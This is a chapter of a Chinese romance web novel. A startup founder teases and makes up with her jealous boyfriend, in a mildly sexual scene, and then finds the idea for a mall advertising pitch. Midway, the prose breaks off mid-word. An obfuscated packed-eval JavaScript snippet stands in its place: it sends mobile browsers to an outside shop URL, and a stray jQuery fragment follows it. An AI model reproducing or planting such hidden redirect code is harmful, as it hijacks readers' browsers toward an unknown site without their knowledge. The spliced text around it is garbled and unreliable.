车子行驶,赵栗婧从后座探出半个身子,畅快道:“微姐,我们一定要拿下这单,在周坪面前扬眉吐气。”
宋霁微“嗯”了声,“这次参与比方案的五家,宝莱走国际化路线,之前做的都是高奢宣传,对于金欧的商场定位恐怕会把握不好,容易提出一些远超预算的方案。欧凯,公司规模与金欧最匹配,但失策在于把这个案子交给了周坪,周坪思想守旧,热衷酒桌交际,更擅长与传统产业的男性经理打交道,而且严控利润率,估计会把普通的方案报出天价。至于剩下的两家,都是金欧现有的供应商,我了解过,他们以做线下活动为主,对线上宣传难有造诣。”
“这么听来,我们非常有希望啊!”赵栗婧兴奋。
“我们最大的短板在于公司成立时间太短,姜总若是要选我们,必然得顶着巨大压力,不过,会后和她聊了两句,能看出来,她是实干派,对于方案以外的东西的考量应该不是主要。”
“是,我们回去好好想方案,我提议,我们每个人想六个!加一个!以示我们的努力!”
宋霁微被她可爱到。
赵栗婧接着道:“晚上我们一起好好吃一顿,我请客……”
“我不太舒服,你们去吃吧。”始终一言不发的程渡蓦然开口。
宋霁微皱眉:“哪里不舒服?靠边停,换我来开吧。”
得到关心,程渡心里好受多了,语气放缓,“没事,回去休息会就好,不用你来开,也没有那么不舒服。”
宋霁微放心不下,念叨:“不舒服不要强撑,更不要还想着照顾别人,你不舒服就该我来照顾你。”
现下,程渡舒服了,朗声:“知道了。”
吃了一嘴狗粮的赵栗婧耐不住插话:“那我来叫外卖吧。”
刚刚还心情不错的程渡眸色沉下,淡道:“不用了。”
遭到直白拒绝,赵栗婧一怔,悻悻地“哦”了声。
宋霁微后知后觉出不对劲,扫了程渡一眼,侧脸对赵栗婧道:“正好我们分开找找灵感。”
“好。”
回到家,入玄关,关了门,宋霁微便从背后抱住闷头前进的某人。
“怎么啦?”
程渡不说话,宋霁微更紧地抱他,他胸腔里那些翻涌的情绪一句一句漫进她的脑海。
【她怎么可以让别人牵?】
【她不知道自己很招人吗?】
【为什么要一直对别人释放魅力?】
【有我一个还不够吗?】
……
居然是吃赵栗婧的醋?
宋霁微没忍住,乐出声来。
原本窜动的小火苗被这笑声浇得更烈,程渡转过身,眉毛微微拧着,眼尾一点红在头顶暖黄的灯光下格外分明。他难得有脾气,质问:“你笑什么?”
宋霁微松开他半步,亲了亲他那盛满委屈的眼睛,仍旧抱他满怀,戏谑地问:“某人连女生的醋都吃?”
眼神暗了一瞬,程渡偏开头,反问:“是我乱吃醋?”
火气还不小。
宋霁微拉住他的手,手指冰凉,她握在掌心慢慢焐着,“不是,”她说得轻而慢,“是我和别人太亲近,我知道错了。以后不管和谁都保持距离,绝不拉手,洁身自好,好吗?”
程渡唇角的弧度逐渐上扬。
却听那厮紧接着说:“小醋王。”
弧度重新下去,程渡挣扎要抽手,宋霁微不松,反而将他往前一推,把他抵在墙面。
唇贴上去时他赌气地侧过脸,她舌尖一探,略过他的唇瓣,他轻易就缴械投降了。
程渡被亲得直往后退,宋霁微一只手撑在他身侧,另一只手顺着他的衣摆探进去,享受他窄劲的腰腹在她掌心收缩的律动。
他被撩得抵挡不住,嘤了几声,勾起她的贪婪,膝盖抵进他两腿之间,隔着薄薄的布料慢慢碾磨。
又热又急鼻息扑在她耳畔,她越发恣意。
程渡成了会发声的玩偶,嘤咛断续从喉咙深处往外溢。
“胃还痛吗?”宋霁微问。
程渡说不出话,五指攥住她肩头的衣料艰难摇头。
手下不停,宋霁微接着问:“是真的胃痛吗?”
“……额……假……假的……”
学坏了。宋霁微手在他腰侧摸索,指尖顺着凹陷的腰线往下滑,在他后腰按下,他整个人便如触电般弹动。
“微微……我错了。”
*****
在程渡的再三求饶中,宋霁微总算尽了兴,她把手从他衣摆底下抽出来,“晚上再继续。”
程渡手背搭了下额头,潮意蹭在眉骨上,他缓了好一会,逃似的,“我去做饭。”
说要做饭,却是先直奔卧室换了套干净衣服。
他掌勺,宋霁微打下手,洗着菜,她想起件有趣的事,话家常道:“我发现你特别好哄,只要生气,一起运动一下立马就好,我在想,你的生气是不是其实是运动邀请?”
锅铲滞住,程渡满眼错愕地看她:“……我没有。”
宋霁微语气慢悠悠的:“所以……你现在是生气了吗?”
程渡张了张嘴又合上,喉结上下一滚,最后挤出一句:“……没有。”
宋霁微罕见的哈哈大笑起来,额头抵着小臂,肩膀一耸一耸。
张扬的笑声灌得满耳,程渡更是羞耻,小白人变成小红人,僵直身体一言不发。
那个冷冰冰的微微去哪了?现在的微微怎么越来越像个流氓?
程渡不解。程渡叹息。
好一会,宋霁微终于收敛,向程渡保证:“以后不气你了,晚上好好哄你,给你讲睡前故事。”
程渡不满:“要等到晚上才哄?”
“吃过饭得好好工作了,”宋霁微说,“不然怎么给天使投资人分红呢?”
她从程渡手里接过盛好的菜送上桌,回身,发现程渡正在看她。
“我又没催你还,你别太累。”
“不会累,做喜欢的工作不会累……”宋霁微狡黠一笑。
程渡隐约觉得不对。
果不其然,那厮接着又来一句:“做喜欢的人也是。”
“咳咳。”程渡卒。
宋霁微再次放声大笑。
逗程渡,绝对是她人生中最有趣的体验。
吃过饭,宋霁微坐在沙发上抱着笔记本整理方案,程渡刷完碗,端了杯热水放在茶几,然后坐到沙发另一头翻阅专
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771228|209921||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
业书,两人互不打扰,相互陪伴。
沉浸工作的时间总是过得很快,天色渐暗,宋霁微盘腿坐在地毯上,文档里已经密密麻麻铺了好几页。
“传承”“焕新”此类内容太过泛滥,想要做出新意非常难,做得浅了,容易流于表面,商业气息过重,如果姜楠想要的是一套成熟的商业方案,大可以闭着眼睛指定一家合作多年的供应商,完全不用比稿折腾。
但如果做得太深太沉重,不利于传播。
如何把握商业与温情的平衡,是道难题。
宋霁微已完成几版初稿,从传统的真人拍摄,到时下流行的AI短剧,形式丰富,可内容上,她始终无法完全满意。
形式到底只是辅助,内容才是灵魂。
可灵魂到底在哪里呢?
光线不足,程渡默默去开了灯,看了眼时间,该去厨房准备晚餐了。
忙碌一阵,待他回来叫宋霁微吃饭时,发现她竟然倒挂在座椅上,腿举起,头顶地,望着阳台发呆。
“你……这是做什么?”
血液朝头顶涌,视野翻转,那些被框在正常视角里的事物,翻个面会有不同的形象,宋霁微如常回答:“在找灵感。”
“……”
每当程渡以为自己足够了解宋霁微时,宋霁微总能做出一些让他吃惊的行为。
唯一不变的是变化。
他蹲到她旁边,“吃过再想吧,好不好?”
宋霁微竖起一只胳膊,程渡握住她的手腕往上带,她撑着椅背翻过来,身子还没完全站好,摇椅因少了她的重量猛地弹回去,他被拽着失去重心,整个人朝她扑过来。
两个人一起摔进椅子里。
木架吱呀声沉沉陷下,他后背抵着扶手,压住她半边身子,两人腿叠着腿挤在那张窄椅上。
摇椅缓缓晃起来。
吱呀,吱呀。
程渡好看的脸近在咫尺,皮肤奶白,睫毛黑密纤长,唇薄而润,泛着浅浅一层水光,像一枚剥开的荔枝。
宋霁微舔了舔唇,低头咬过去。
他“嘶”了声,眉尖蹙起,舌尖下意识碰了碰被她咬过的地方,黏黏糊糊地说:“菜要凉了。”
这个世界上没有比程渡更关心她吃没吃饭了。
齿尖合着那一点软肉含了一会才放开,宋霁微脑子里有什么东西豁然洞开。
程渡的关心源于爱。
提案少的灵魂是爱。
一家三十年老牌商场,不止与城市发展共鸣,更对这个城市里的人充满爱意。
爱固然是虚幻的,可虚幻的美好,才能在传播中勾起观者内心深处最隐秘的期待。
谁不想被爱呢?
又亲了亲程渡的脸颊,宋霁微拍拍他,“走吧。”
后面几周,宋霁微活成被拧紧发条的钟,白天拜访客户谈单,晚上完善金欧的方案,清晨起来练习汇报。
休假时,宋霁微日日要做,程渡招架不住,暗戳戳盼着她去工作,可她现在全情投入工作中,十几天不碰他一次,他又变得幽怨起来,也不想打扰她,只能在每晚睡觉时紧紧环住她以求慰藉。
在宋霁微时间不够用、程渡度日如年中,比稿会终于到来。